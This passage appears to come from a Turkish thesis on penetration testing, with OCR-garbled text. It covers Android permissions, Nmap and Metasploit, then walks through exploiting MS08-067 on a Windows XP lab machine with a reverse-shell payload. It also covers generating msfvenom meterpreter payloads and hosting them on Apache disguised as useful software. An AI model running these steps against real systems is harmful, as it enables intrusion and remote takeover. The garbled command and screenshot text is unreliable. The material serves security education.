atayarak tim ICC’yi diizenlemektedir. Boylece Android isletim sistemi 6nceden tanimlanmis
izin kapsami diginda kalan izin isteyen tim ICC’leri reddetmektedir. Android isletim sistemi
erisim kontrol mekanizmasi igin 4 seviye tanimlamistir. Bunlardan en diisiik izin seviyesine
sahip olam1 “normal” olarak adlandirilmaktadir. Bu seviyedeki izinler gelistiricinin internet
erigimi, titresim ve NFC kullanimida oldugu gibi bir uygulamanin bildirim dosyasinda
bildirildigi siirece verilebilmektedir. Normal seviyeden daha yiiksek izin seviyesine sahip olan
seviye “tehlikeli” olarak adlandirilmaktadir. Bu seviyedeki izinler yalnizca uygulama sirasinda
(6rnegin  kullanicilarin  fotograflarmma  erisirken  kullanici  nizasim  aldiktan  sonra)
verilebilmektedir. Diger iki izin seviyesi riskli izinler i¢in tasarlanmis olan imza, imza ve sistem
izinleridir. Imza seviyesi yalnizca giivenilir bir tarafca imzalanan uygulamalara verilirken, imza
ve sistem izni google ve telefon saticilari tarafindan imzalanan uygulamalar ig¢in de izin
vermektedir. Android isletim sisteminin kullanici tarafli giivenlik mekanizmasinda, Android
’deki her uygulama benzersiz bir kullanici kimligiyle ¢alisir ve bdylece temel linux sistemi
programlama hatalarinin neden oldugu zararlardan kaginmak i¢in sistem diizeyinde bir yalitim
saglayabilmektedir. Ancak sistem tanimli root, radio ve sistem gibi kullanicilara bazi istisnalar
taninmaktadir. Ayricalikli bir kullanici kimlik degistirmeye gerek duymadan birden fazla islemi
Android igletim sistemi iizerinde baslatabilmektedir ve tiim bu islemlere imtiyazli kullaniciya
verilen, Android isletim sistemi {izerinde potansiyel bir giivenlik bosluguna neden olan ayni

ayricaliklar verilmektedir. Android isletim sistemine 4.3 siiriimiinden baglanarak, istege baglh
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erisim kontroliinii (DAC) en son zorunlu erigim kontroliine (MAC) yiikseltmek i¢in Glivenlik
gelistirmeli Linux (SELinux) modeli uygulanmistir. Android’ deki erisim yetenegi, yalnizca
dosya sistemi sahipligi tarafindan belirlenmeyi birakmustir. SELinux yonteminde, her islem
kesinlikle bir dizi SELinux gilivenlik politikast tarafindan diizenlenen minimum imtiyaz

diizeyinde yiiriitiilmelidir (Meng vd., 2018).

2.10. NMAP Yazilim

Nmap 1997 yilinda, bilgisayar aglari uzmani olan Gordon Lyon (Fyodor) tarafindan Python ve
C/C++ programlama dilleri ile gelistirilmis, 6zel amagli port tarayicilarinin parcalanmig
alanlarmi gii¢lii, esnek ve iicretsiz bir arac¢ olarak birlestirmek ve tiim tarama tekniklerinin
verimli bir sekilde gergeklestirilmesini saglamak amaciyla yaratilmis bir giivenlik tarayicisidir.
Nmap kullanilarak aglar taranabilir, haritas1 ¢ikarilabilir ve ag makinesinde calisan servis
durumlari, isletim sistemleri, portlarin durumlar1 gézlemlenebilmektedir. Nmap tamamen 6zgiir
General Public License (GPL) lisansh bir yazilimdir. Herhangi bir ag hazirlanirken gerekli
ayarlarin test edilmesi, ag envanterinin tutulmasi, haritalanmasi, bakimi ve yOnetimi,
bilinmeyen yeni sunuculari tanimlayarak gilivenlik denetimlerinin yapilmasi gibi alanlarda
Nmap yazilimi kullanilmaktadir (Fyodor, 2008). Giiniimiizde Nmap yazilimi yaklasik 15 farkli
tarama yontemine ve her bir tarama icin yaklasik 20 farkli segenege sahiptir. Sekil 2.21°de

Nmap kullanim detaylar1 ve parametreleri gosterilmektedir.

Nmap yaziliminin ayrintili kullanimi penetrasyon testi yontemlerinin bilgi toplama asamasinda

sunulmustur.

Sekil 2.21. Nmap kullanim detaylar1 ve parametreleri.
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Nmap araci incelendiginde hedef 6zellikleri (target specification), sunucu kesfi (host discovery),
tarama teknikleri (scan techniques), port ozellikleri (port specification), servis ve versiyon
bilgileri (service and version detection), isletim sistemi bilgileri (OS Detection) gibi ana

basliklar altinda ihtiyaca gore kullanilabilecek pek ¢ok paremetlerin sunuldugu goriilmektedir.

2.11. Metasploit Framework

Metasploit Framework ilk olarak 2003 yilinda ortaya c¢ikmistir ve giivenlik topluluklar
tarafindan fiili olarak kullanilan bir ara¢ haline gelmistir. Giiniimiizde Rapid7 giivenlik sirketine
ait olan metasploit framework aracinin giivenlik¢iler tarafindan yonlendirilen ve gelistirilen agik
kaynak kodlu bir baskisi da mevcuttur. Metasploit’in modiiler ve esnek mimarisi gelistiricilere
yeni giivenlik agiklar1 kesfederken verimli bir sekilde zafiyet somiiriisii gerg¢eklestirmelerine

yardime1 olmaktadir (Alparslan, 2010).

Elle gergeklestirilen giivenlik zafiyetleri somiiriileri hem zaman hem de beceri gerektirdiginden
internet tizerinden metasploit framework araci {izerinde kullanilan ilgili zafiyeti somiirecek

kodlar bulunabilmektedir. Tgili kodlara “www.pocketstorm.security.com ”,

“www.securityfocus.com”, “www.exploitdb.com” sitelerinden ulagsmak miimkiindiir. Ozet

olarak metasploit framework, penetrasyon testi yapan uzmanlar tarafindan neredeyse her
pentestte kullanilan, icerisinde bir¢ok giivenlik agigini sdmiirmeye yarayan zafiyetler, somiirme
islemlerinin ardindan yapilabilecek islemler altinda tasarlanmis post zafiyetleri modiilii, kaba
kuvvet saldirilart i¢in tasarlanmig auxiliary modiilleri, zafiyet gelistirme islemleri igin
tasarlanmis bir¢cok shellcode, nopes ve encoder bulunduran bir framework’tiir. Metasploit
kullanimi i¢in tasarlanmis msfconsole, text-based console, msfcli gibi birden fazla ara yiiz
mevcuttur. Bu ¢alismada msfconsole ara yiizii kullanilmistir. Metasploit framework tizerinde
yapilan tiim islemleri kontrol etmek ve daha hizli ¢aligmasini saglamak i¢in yapilabilecek
metasploit yapilandirmalarindan biri metasploit framework’ i POSTGRESQL veri tabanina
baglamaktir. Sekil 2.22.’de Kali Linux Metasploit POSTGRESQL konfigiirasyonu ve Sekil

2.23.”de Metasploit Framework msfconsole ara yiizli gosterilmektedir.
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Sekil 2.23. Metasploit Framework msfconsole ara yiizii.

2.11.1. Metasploit modiillerini bulma

Bu boliimde Metasploit Modiillerinin nasil bulundugunu gostermek amaciyla Windows XP
hedefi lizerinde bir giivenlik agigindan yararlanilmistir. Microsoft giivenlik bilgileri igerisinde
yer alan Windows XP isletim sistemine ait MS08-067 giivenlik a¢igindan faydalanilmistir.
Windows XP isletim sistemi tizerindeki zafiyetlerin nasil tespit edildigindigini gosteren
uygulamalar uygulama asamasinda yapilmistir. Su an icin MS08-067 giivenlik agiginin
Windows XP igletim sistemine ait bir glivenlik a¢ig1 oldugunun bilinmesi yeterlidir. MS08-067
giivenlik agig1 netapi32.dll dosyasinda saldirganlarin sunucu mesaj blogu servisi (SMB)

araciligiyla 6zel hazirlanmis bir uzaktan yordam cagrisi istegi kullanmalarina ve hedef sistemi
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ele gecirmelerine olanak saglayan bir sorun olusturmustur. Bu giivenlik ac¢ig1 saldirganin hedef
sisteme diizenledigi saldirty1 gergeklestirmeden dnce kimlik tanimlamasi yapma zorunlulugunu
gerektirmez. Yani saldirgan kimlik tanimlamasi yapmadan hedef sisteme bir saldir
diizenleyebilmektedir. Bu nedenle MS08-067 giivenlik a¢ig1 oldukga tehlikeli, conficker
solucani tarafindan somiiriilmiis ve bilinen bir giivenlik a¢igidir. Bu giivenlik agigi 2008
yilindan itibaren var olmakla birlikte giiniimiizde de yapilan penetrasyon testlerinde basarili bir
sekilde somiiriilmektedir. MS08-067 zafiyetini somiirmek i¢in Metasploit Framework icerisinde
bir modiil mevcuttur ve penetrasyon testlerinde aktif olarak kullanilabilmektedir. Metasploit
tizerinde bircok glivenlik zafiyetini somiirebilecek hazir modiiller bulunmaktadir. Fakat bu
boliimde yalnizca MS08-067 modiiliinii incelemek konunun anlasilabilir olmasi agisindan
uygun bulunmustur. MS08-067 giivenlik acigimi somiiren modiilii bulmak i¢in birden fazla
secenek mevcuttur. Genellikle basit bir google aramasi ile ilgili modiil bulunabilmektedir ancak
metasploit framework cevrim i¢ci modiiler bir veri tabanina ve dogru modiilleri bulmak igin
kullanilabilecek ~ dahili  bir arama fonksiyonuna da  sahiptir. Bu modiillere

“www.rapid7.com/db/modules” bagintidan ulagim saglanabilir.

Modiil veritabani

Metasploit arama sayfasi, metasploit modiillerini genel giivenlik agiklar1 ve korunma riskleri
numaras1 (CVE), ag¢ik kaynakli giivenlik acig1 veri taban1 (OSVDB) ID, BugtraqID (her bir
giivenlik problemine verilen 6zel bir ID numarasi) veya Microsoft giivenlik bilgileri i¢cerisindeki
giivenlik agiklariyla eslestirmek icin kullanilabilmektedir. Aym1 zamanda glivenlik acig1 string
bir ifade ile yazilarak da aratilabilmektedir. Sekil 2.24.”de Metasploit Framework modiil veri
tabani, Sekil 2.25.”de MS08-067 giivenlik zafiyet i¢in modiil sayfasi. ve Sekil 2.26.’da MS08-

067 giivenlik a¢iginin bulundugu metasploit modiiler dizini gosterilmektedir.

Sekil 2.24. Metasploit Framework modiil veri tabani.
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b

MS08-067 Microsoft Server Service Relative Path Stack Corruption

Module Name
Free Metasplot Rownload

Authors $.  DOWNLOAD NOW

leferences

Sekil 2.25. MS08-067 giivenlik zafiyet i¢in modiil sayfasi.

Sekil 2.26. MS08-067 giivenlik a¢iginin bulundugu metasploit modiiler dizini.

Yerlesik arama

MSO08-067 giivenlik a¢igini  somiirecek ilgili modiil metasploit’in “Built-In-Search”

fonksiyonuyla da bulunabilmektedir.

Matching Modules

Nama Disclosure Dnte  Kank Chock  Dese

explolt/windows/smb/me68 S07 notaul 2680

10-21 great Yoo SHB-BET Mit Survor Service Relative Path Stack Corrupt

Sekil 2.27. Metasploit Framework search komutuyla modiil arama.
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Sekil 2.27.°de goriilen modiil ad1 info komutu ile birlikte kullanildiginda modiil veri tabaninda
oldugu gibi giivenlik acig1 ile ilgili bilgilere erisim saglanacaktir. Bu listeye giivenlik agigi

metasploit bilgi listesi de denilebilir.

» Into exploit/vindows/sab/nsB8 067 netap!

Niong MSBB-0GT Micrpsoft Sary » Relative Path Stoack Corruption
Hodyle explolt/windows nb/nsi netapl
Platform: Window
Arch

res

Hetasplodt Franewark License
Lrent

70081028

Provided by

han <xfhdn Lo>
Nrett Moore <brett mooreglinsonniasec .«
frank afran cO49 orgs

duck <jduckd sploty

Avallable target
Id  HNane

Sekil 2.28. Metasploit bilgi listesi 1.

fons:
Current Setting Required Description

o he target address range or CIDR toentifier
45 Ve The SHB seryice port (TCP)
SHBPIPE  BRONSER yes The pipe nage to use (BROWSER, SRYSYC)

Paylood int

o parsing flaw
gll through the &

apable of by W NX on sone o <
The correct tar nust be use D it the Server Sorvie
wilh & dozen others In Lhe zane p from crashing Windows XP
targets seem to handle sultiple succe il explottation ey but
2003 targets | crash or ha seguent atteng This

& Just the Gl on pf this module, full support for NE byp

) 2003, slong with other platforms, 1s sti in developnent

1ls . con/eve/CVE- 2808

Wt . microsoft . con/ensus/library/security/MSea-067

Sekil 2.29. Metasploit bilgi listesi 2.

Sekil 2.28.’de ve Sekil 2.29.’da MS08-067 giivenlik agigiyla ilgili agiklayict bir isim ve modiil
ad1 da dahil olmak {izere bazi temel bilgiler yer almaktadir. Platform bilgisi MS08-067 gilivenlik
acigimin Windows isletim sistemlerine ait bir giivenlik acig1 oldugu bilgisini vermektedir.

Privileged, ilgili modiiliin hedef {izerinde yiiksek ayricaliklar gerektirip gerektirmedigi bilgisini
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vermektedir. Rank, MS08-067 zafiyetinin hedef sistem {izerindeki potansiyel etkisini
gostermektedir. Available Targets, ilgili modiiliin somiiriilebilecegi isletim sistemi siiriimlerini
ve yama seviyelerini gostermektedir. Basic Options, ilgili modiiliin ihtiyaglar1 daha iyi
kargilamasi i¢in ayarlanabilecek c¢esitli secenekleri listelemektedir. Bunlardan RHOST
metasploit’e hedef sistemin ip adresini bildirmektedir. Payload Information, metasploit’in
MS08-067 zafiyetiyle ilgili olarak hangi payload’larin somiirme isleminde kullanilabilecegi
bilgisini vermektedir. Payload veya shellcode’lar, somiiriilen sisteme saldirgan adina ne
yapacagini sOylemektedir. Metasploit’in sahip oldugu payload sistemi, hedefin ne yapilmasi
gerektigi konusunda birgok secenek sunmaktadir. Description, modiiliin kullandig1 giivenlik
ac1g1 hakkinda daha fazla ayrmtili bilgileri icermektedir. References, ¢evrim ici giivenlik agig
veri tabani giriglerine erisim icin bir baglant1 icermektedir. Eger bir giivenlik a¢1g1 i¢in hangi
modiiliin kullanilacagi konusunda emin olunmak istenirse bilgi sayfasina bakilmalidir. MS08-
067 giivenlik acig1 icin en uygun modil bulundugunda somiirii islemi Sekil 2.30.’daki gibi

“use” komutu ile gergeklestirilmistir.

Nstrs > use explol!l /uindows/snb/ns0B8 DeET neEtap

pl
nsth explorti t f tapi) > .

Sekil 2.30. MS08-067 Giivenlik agiginin somiiriilmesi.

2.11.2. Metasploit modiillerinin opsiyonlarim1 ayarlama

MS08-067 giivenlik agigi ile ilgili somiirii modiilii belirlendikten sonra metasploit’e bazi
bilgilerin verilmesi gerekmektedir. Bu bilgilerin neler oldugunu &grenebilmek icin “show

options” komutu kullanilmaktadir.

RHOS TS
RPORT

SHBPEPE

Sekil 2.31. MS08-067 giivenlik zafiyeti opsiyonlari.
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Sekil 2.31. incelendiginde RHOST, RPORT ve SMBPIPE degerlerinin ayarlanmasi gerektigi
anlasilmaktadir. Asagidaki sirasiyla bu degerlerin anlamlar1 ve konfigiirasyon ayarlarinin nasil

yapildig1 sunulmustur.

Rhost

RHOST opsiyonu, somiiriilmek istenilen uzak ana bilgisayarin ip adresini ifade etmektedir. Bu
opsiyon metasploit’e saldirmasi gereken hedef bilgisini vermektedir. Bu bdlimde Vmware
Workstation ile kurulan Windows XP sanal makinesi metasploit’e hedef makine olarak
gosterilmistir. RHOST opsiyonu ayarlandiktan sonra yeniden show options komutu ile RHOST
ayarlarmin giincel bilgisi kontrol edilir ve diger gerekli opsiyonlarin bilgisi listelenir. Sekil

2.32.’de RHOST opsiyon ayar ekrani gosterilmektedir.

> sl RHOST 10.0.0_20
how pprion
Janb/nsB D67 netapl)
ription

RHOSTS 10.6.0.20 Wi The targe!l address range of CIDR rdentifie
RPOKT 0 Yes e SHE seryice port (FCP)

SHUPIPE BRONSER you The plpe nane to use (HROWSER, SRYSVC)

Sekil 2.32. RHOST opsiyonunu ayarlama.

Rport

RPORT opsiyonu, hedef sistemin PORT adresini ifade etmektedir. Buradaki port girigleri
fiziksel bir portu ifade etmez. Penetrasyon testi sirasindaki dinlenilen portlar sanal portlardir.

Omegin, www.google.com adresi 80 numarali sanal portu dinlemektedir. MS08-067 giivenlik

acigin1 somiiriirken, somiirii esnasina SMB servisi kullanilmaktadir. Hedef sistem olarak segilen
Windows XP sanal makinesinin dinlenilen portlarini goriintillemek i¢cin “Command Prompt”
yonetici olarak calistirilmistic ve netstat -an |find /i "listening” komutu kullanilmistir. Sekil

2.33.’de RPORT opsiyon ayar ekran1 gosterilmektedir.
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) > setl RPORT 445
> show options
& options (explolt/uindows/anb/ns0E O67 netapl)
Nant Current Setting Regquired Description

KHOSTS 10.0.0,70 v The Targer addrass range or CIOR- tdent il inr
RPONT Al YES The SMB service port (TCH)

SHBPIPI BROWSER v The plpe nane 1o use (HROWSER, SRYSVL)

Explolt targer
Id  MNasge

0 Aulonat is

Sekil 2.33. RPORT opsiyonunun ayarlanmasi.

Smbpipe ve LHost

Pipe olarak adlandirilan terim, istemcinin belirli bir baglanti noktasini dinleyen bir sunucuya
baglanabilecegi ag¢ik TCP baglantt noktalarina benzetilmektedir. Bir islem baglanti
saglayabilecegi belirli bir pipe uc¢ noktasini kaydeder ve SMB iizerinden bu u¢ noktaya
yapilacak baglantilar bu isleme gonderilir. Yani SMBPIPE, hedef sistem i¢in varsayilan tarayici
bilgisini ifade etmektedir ve Windows aglar arasi iletisimi bir ag iizerinden saglamaktadir.
Hangi SMBPIPE’larin dinlendigini tespit etme islemleri daha sonraki asamalarda gosterilmistir.
Fakat opsiyon ayarlar1 konfigiirasyonlarinda SMBPIPE degeri varsayilan deger olarak
birakilmaktadir. LHOST degeri ise, saldirgan cihazin sunucusunu ifade etmektedir. Hedef
makinenin tekrardan baglanilmasini istedigi IP degeri olarak nitelendirilebilmektedir. LHOST
degeri, reverse tcp (ters baglanti) sekillerinde yerel baglanti noktasina tekrardan baglanilmasi

icin varsayilan degerde birakilir ve cogu zaman metasploit tarafindan otomatik olarak belirlenir.

Somiirti hedefi

Somiirii hedefi kavrami varsayilan olarak 0 (Automatic target)’a ayarlanmis halde
bulunmaktadir. Bu kavram hedef igletim sistemi ve versiyonu ile ilgilidir. Kullanilabilir hedef
sistemler modiiliin bilgi sayfasinda yer almaktadir. Diger bir segenek olarak ilgili bilgileri

goriintiileyebilmek i¢in “show targets” komutu kullanilabilmektedir.
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Sekil 2.34. Somiirii hedefleri.

Sekil 2.34.°de goriildigi gibi Windows 2000, Windows 2003 ve Windows XP hedef isletim
sistemlerine ilgili somiiri modilleri kullanilarak bir saldiri diizenlenebilmektedir.  Sekil
2.35.”de hedeflerden uygun olani metasploit’ e “set target <target number>""komutu girilerek

belirlenir. Daha sonra “exploit” komutu kullanilarak somiirii islemi gerceklestirilmektedir.

nsfh ‘explott|
targer =» |
narh exploLtl

Started reverse 101 hangler on 192,164
10.0.0.20: 445 Explojt falled [unroat
Eaploit completed, DUt no 4es510n was

5% oxploit ‘

Sekil 2.35. Somiirii hedefinin secilmesi ve somiirme islemi.

Yukaridaki sekilde gortildiigii gibi somiirii islemi basarisiz olmus ve “no session was created”

sonucu elde edilmistir.

2.12. Payloadlar

Payload, kotii amacglh faaliyet yiirliten bilgisayar viriisii bileseni anlamima gelmektedir. Bir
giivenlik zafiyetini sOmiiriitken somiirii modiillerinin gerektirdigi tiim opsiyon ayarlar
gerceklestikten sonra somiirli i¢in yapilacak islem metasploit’e bildirilirse somiiri islemi
istekleri tam olarak karsilayacaktir. Tlgili payload belirlendiginde metasploit isleri oldukca kolay

hale getirmektedir. Metasploit basit windows komutlar1 ve genisletilebilir metasploit
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meterpreter oturumlari elde etmeye yarayan gesitli payload’lara sahiptir. SOmiirii i¢in uygun bir
payload secilir ve bilgisi metasploit’e verilir. Giivenlik ac¢igin1 somiirli komutu basarili bir
sekilde caligtiktan sonra payload dahil olmak iizere yararlanilacak diziyi metasploit framework
sunacaktir. Manuel olarak bir payload yazma islemleri uygulama asamasinda ayrintili bir

sekilde incelenmistir.

2.12.1. Uyumlu payloadlari bulma

Metasploit v5.0.36-dev siiriimii icerisinde toplam 545 payload mevcuttur ve halen yeni
hazirlanan payload’lar da diizenli olarak eklenmeye devam etmektedir. Mobil platformlar
diinyay1 ele gegirirken, I0S ve diger akilli telefonlar i¢in var olan payload’lar metasploit’te
zaman igerisinde ortaya ¢ikmaya baslamistir. Ancak metasploit igerisindeki payload’larin timii
kullanilmak istenen sémiirii islemi ile uygunluk gdstermez. Ornegin, bir windows sistemi
tizerinden bir iphone cihazi somiirmek i¢in talimat verilirse, durum karmasik bir yapiya
doniiscektir. Yapilacak somiirii islemi ile ilgili uyumlu payload’lar “show payload” komutu ile
listelemek miimkiindiir. Sekil 2.36. ve Sekil 2.37.’de isletim sistemlerine gore isletim

sistemleriyle uyumlu payload listeleri gosterilmektedir.

) > whow poyloods

y Rank

normal A

ct/bind hidden Ipknock tep irmal N fall ve ( t Hidden Bind Tpknock T

ct/hind hidden teq narmdl Ko fetloctive ffection, Widdon Hind TCP Stag
ct/bind Lpvh tep 1 1 Na Mefloctly Tnlection, Bind TPvE TCP Stager
i, Bind 1Pub TCP Stager
on, Windows x80 Hind Komo
i, find TCF Stoger {No N

N, &ind TCP Stagar {Wind

Sekil 2.36. Uyumlu payload listesi 1.
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narmy

normal N

Sekil 2.37. Uyumlu payload listesi 2.

Bir somiirii islemini maksimum faydada saglayabilmek icin uyumlu payload’1 belirlemek ve
manuel olarak ayarin1 yapmak oldukca 6énemli bir islemdir ve somiirii islemi basarili oldugunda
hedef sistemin kontrolii meterpereter bir oturum saglanarak ele gegcirilir. Meterpreter arka
planda calisan ve penetrasyon testlerini kolaylastiran dosya iglemleri, parola 6zetlerini alma ve

yetki yiikseltme islemlerini saglayan bir aragtir.

2.13. Shell Tipleri

Shell kavrami linux isletim sistemi lizerinde bir ara yiiz saglar, girdileri toplar ve o girdilere
gore programlar yiiriitiir. Bir 6nceki boliimde sunulan uyumlu payload’lar listesinde komut
kabuklar1 (shell command), konusma API’leri (speech API), meterpreter veya tek bir windows
komutunun yiriitilmesi dahil bir dizi secenek mevcuttur. Meterpreter lizerinde veya bagka
sekillerde, shell tipleri baglama(bind) ve ters baglama(reverse) olmak iizere iki kategoriye

ayrilmaktadir.

2.13.1 Bind shell

Bind shell (baglama kabugu), hedef makineye yeni bir command shell (komut kabugu) agmasini
ve yerel bir baglanti noktasini dinlemesini sdyler ve saldirty1 gergeklestiren makine daha sonra
dinleme portundaki hedef makineye baglanir. Yani bind shell’de dinleyici kendisine baglanan
herkese ilgili uygulamay1 sunmaktadir. Ancak giivenlik duvari agiksa bind shell (baglama
kabugu) etkinligi disiik olacaktir ¢linkli dogru yapilandirilmis bir giivenlik duvar1 4444 gibi
rastgele bir porta giden trafigi engelleyecektir.



55

2.13.2. Reverse shell

Reverse shell (ters baglama kabugu), bind shell’de (baglama kabugu) oldugu gibi baglanti
kurulmasini beklemek yerine aktif olarak baglantiyr saldir1 makinesine geri itmektedir. Bu
durumda saldirt makinesinde yerel bir port acgilir ve hedef makineden bir baglanti dinlenmeye
baslar. Yani reverse shell’de baglanti saglanan yerde direk bir komut satir1 elde edilmeye
calisilir. Giivenlik duvari reverse shell (ters baglama kabugu) iizerinde bind shell (baglama

kabugu) baglantisi kadar etkili degildir.

2.13.3. Payload’1 manuel ayarlama

Payload se¢iminden ayrintili bir sekilde bahsetmeden once bind shell (baglama kabugu) ve
reverse shell (ters baglama kabugu) kavramlariin tam olarak anlasilmasi 6nemlidir. Payload’
manual(elle) ayarlarken 6ncelikle payload i¢in bir windows reverse shell (ters baglama kabugu)
secilmistir. Payload ayarlama islemi RHOST, RPORT gibi opsiyon ayarlama iglemlerine

benzemektedir.

o1 BHDST 10.0.0.20

» 10 H B.20
S uxploir| ( ‘ LApi) > sot RPORT 139

o! pa¥load windous/shell roverse tep

Sekil 2.38. Payloadi reverse shell segcerek manuel ayarlama.

Sekil 2.38.’de goriildiigii gibi payload konfigiirasyon ayari i¢in “set” komutuyla bir reverse shell
baglantis1 secilmistir. Reverse shell baglantistnin  gonderilecegi yerin  belirlenmesi
gerekmektedir. Ozellikle saldir1 makinesinin ip adresi ve dinlenilecek port bilgisi reverse
shell’in dogru calisabilmesi icin verilmesi gereken bilgiler arasindadir. Gerekli opsiyon

bilgilerini show options komutu ile goriintiilemek miimkiindiir.
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RHOSTS

Tier
RPORT 3C
SHMBERIPE BROWSER

‘ayload option

Nane Current Sertid

Sekil 2.39. Payload modiil opsiyonlart.

Sekil 2.39.’da goriilen LHOST degeri, saldir1 amagli kullanilan Kali Linux makinesinin yerel
sunucusunu ifade etmektedir. Yani hedef makinenin tekrardan baglanilmasini istedigi ip adresi
LHOST ile belirtilmektedir. Saldirgan cihaz olan Kali Linux makinesinin ip adresi “ifconfig”

komutu Sekil 2.40.’da goriildiigi gibi 6grenilebilmektedir.

Flags=73<UP, LOOPBACK , RUNNING>

inet 127.0.0.1 wtnask 255

netb

Sekil 2.40. Kali Linux konfigiirasyon bilgileri.

LHOST degeri saldir1 cihazi olan Kali Linux cihazinin IP adresi olan 10.0.0.47 IP adresi olarak
konfigiire edilmektedir. Fakat yerel baglanti noktasina tekrardan baglanilabilmesi icin reverse
shell baglant1 tiplerinde LPORT degeri varsayilan deger olarak birakilabilmektedir. Ayni
durum metasploit’e hangi yoldan erisecegini bildiren EXITFUNC degeri i¢in de gecerlidir. Bu
islemlerin son asamasinda gerceklesen adim “exploit” komutunun kullanilmasi olacaktir.
Exploit komutu c¢alistigi anda metasploit framework 4444 numarali porta hedef dinleyiciden
geriye dogru shell’i (kabugu) yakalamak igin bir dinleyici agar. Bu islemden sonra hedef cihaz

otomatik olarak varsayilan hedef olarak tutuldugundan, metasploit framework uzak SMB
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sunucusuna parmak izini birakarak izleme islemini gerceklestirir ve en uygun sémiirii hedefini
kendisi belirler. Bir somiirii hedefi belirlendikten sonra metasploit framework, somiirii dizisini
yollar ve hedef makinenin kontroliinii ele gecirmeye ¢alisir. Secilen payload’t ise hedef
makinenin {izerine yerlestirir. Bu islemler sonucunda hedef makine lizerinde elde edilen oturum
“ctrl+¢” komutu ile sonlandirilabilir. Eger oturuma geri doniilmek istenilirse
windows/meterpreter/reverse tcp gibi bir adla meterpreter payload’t manual olarak secilir ve

hedef makineden tekrar faydalanilabilir.

2.14. Msfvenom ile Bagimsiz Payloadlar Yaratma

Msfvenom, 2011 yilinda metasploit’e eklenmis yeni nesil payload’lart iireten bir aragtir.
Msfvenom araci metasploit framework’e eklenmeden dnce msfpayload ve msfencode araglari
windows tarafindan calistirilabilen ve ASP sayfalar1 gibi cesitli ¢ikti bicimlerinde bagimsiz
olarak kodlanabilen metasploit payload’lar1 olusturmak amaciyla birlikte kullanilirdi.
Msfvenom tanitimu ile birlikte msfpayload ve msfencode araglarinin islevselligi tek bir aracta
birlestirilmis oldu. Ancak msfpayload ve msfencode araglart hala metasploit framework
icerisinde ayri olarak bulunmaktadir. Msfvenom aracinin kullanimu ile ilgili detayl bilgilere
“msfvenom —h” komutu ile ulagmak miimkiindiir. Msfvenom kullanilarak, sadece kayip yamalar
ve diger giivenlik agiklar1 somiiriilerek hedef bilgisayar iizerinde bir oturum elde etmek yerine,
asla tamamen ¢oziilemeyen giivenlik problemlerinin kullanilmasi amag¢lanmistir. Msfvenom, bir
sosyal miithendislik saldirist ile veya savunmasiz bir sunucuya payload yiikleyerek kullanicinin
somiirme girisiminde bir hedef sistemde ¢alistirmak iizere bagimsiz payload’lar yaratilmasina

olanak saglayacaktir.

2.14.1. Payload secme

Msfvenom aracinin igerisinde mevcut olan tiim payload’lar “msfvenom —I payloads” komutu ile

listelenebilmektedir. Bir payload segilirken “-p” parametresi kullanilmaktadir.

2.14.2. Opsiyon ayarlama

flgili payload “msfvenom —p windows/meterpreter/reverse tcp” komut satir1 ile secildikten
sonra komut satirinin c¢alistirilmasi icin LPORT ve LHOST opsiyonlariin ayarlanmasi
gerekmektedir. LHOST opsiyonuna hedef makinenin ters baglanti kurarak donecegi makinenin

ip degeri verilmektedir. Yani saldirgan cihaz Kali Linux makinesinin ip degeri LHOST degeri
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olarak ayarlanacaktir. LPORT degeri ise varsayilan olarak, 4444 degerine atanir. Sekil 2.41.de

payload se¢imi ve opsiyonlar1 gosterilmektedir.

1OOtEhAlll"T mafvencm < windows/setespreter/reyerse tep 0
|*] Optloes far paylosd/dindiws /meterpreter /reyerse top

Nare Current SEtting Sequited Description

FXITFING  process (13 X1t techmique: saf, throad, Process,
nNonE

LM05T yes The 1isten address

LARY 2444 yeu e Listen pon

Sekil 2.41. Payload se¢imi ve opsiyonlar1 (Georgia, 2014).

2.14.3. Cikis formati belirleme

Bu boliimde msfvenom’a hangi formati kullanmasi gerektigi bilgisinin belirlenme islemi
sunulmustur. Secilen ve ¢aligtirilan payload’in windows tizerinde calistirilacak bir payload mi
yoksa yazma erisimi kazanilmis bir web sunucusuna yiiklenecek asp dosyast mi oldugunu
belirlemek icin ¢ikis formati belirlenmelidir. Msfvenom igerisindeki mevcut format listesine

“msfvenom --help-formats” komutu ile ulasmak miimkiind{ir.

roctEkall =2 medvanon --help-formatsy
Fxecutable formats
asp, aspx, aspx-exe, di), elf, exe, exe-only, exe-sErvice, exe-swall,
loop-wles, macho, mil, sslopousc, psh, pohenet, voo, vbaéxe, vbs, Mat
Tranifory formats
bach, ¢, ceharp, &, dword, Java, Js be, 15 l1¢, mun, perl, pl, powerihbell,
pst, gy, pythan, rad, 1, nidy, 3h, wbapplication, yhscript

Sekil 2.42. Msfvenom format listesi (Georgia, 2014).

Sekil 2.42.”de goriilen formatlardan uygun olan1 “-f” parametresi ile se¢ilmektedir.

& ustvenon windous/aeterpreter/reverse tep LHUST-I0 0 8. 47 LPOR «-1444 I pxs

AMteapting to read payload Trom STOIN

Sekil 2.43. Ilgili payload igin ¢ikis formati belirleme.

Sekil 2.43.de goriilen komut galistirildiginda istenilen sonug alinamayacaktir. Bunun

sebebi ¢ikis formati olarak secilen exe’nin yiiriitiilebilir bir dosyaya gonderilmemis olmasidir.
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2.14.4. Payload sunma

Payload’1 sunmanin en iyi yollarindan biri onu bir web sunucusunda barindirmak, onu yararl
bir uygulama veya yazilim gibi saklamak ve kullanicilar1 bu payload’lari indirmek igin tesvik
etmektir. Bu boliimde payload’i hedef makine tlizerine gonderme islemi bir 6érnek {izerinden
varsayilarak uygulanmugtir. Ornek senaryoda saldiri makinesi Kali Linux, hedef makine
Windows XP ve sunucu da apache olarak ele alinmigtir. Kali makinesinin yerlesik apache
sunucusundaki metasploit ¢alistirilabilir dosyalarini ev sahipligi yapilmis ve hedef makine
tizerinden dosyaya goz atilmistir. Ayrica chapter4dexample.exe isimli bir payload’in 6nceden

olusturuldugu varsayilmistir.

1OLPkall )2 cp chaptendenanple,exe /vat/
TootEkall: "2 service apaches start
Starting wep ssrver apached [ ok )

Sekil 2.44. chapterdexample.exe payloadini kopyalama ve apache servisini baslatma komutlar

(Georgia, 2014).

Sekil 2.44.’de goriildiigii lizere ilk 6nce varsayilan payload apache dizinine kopyalanmistir ve
ardindan apache 2 servisi baslatilmistir. Hedef makine {izerinden payload dosyasina géz atmak
icin ilk once hedef makine windows xp lzerinde internet explorer kullanilarak ve buradan
payload exe dosyasinin bulundugu Kali Linux makinesine baglanilarak payload dosyasi

indirilmistir. Bu islemi gergeklestirmek i¢in Kali Linux mekinesindeki internet explorer linkine

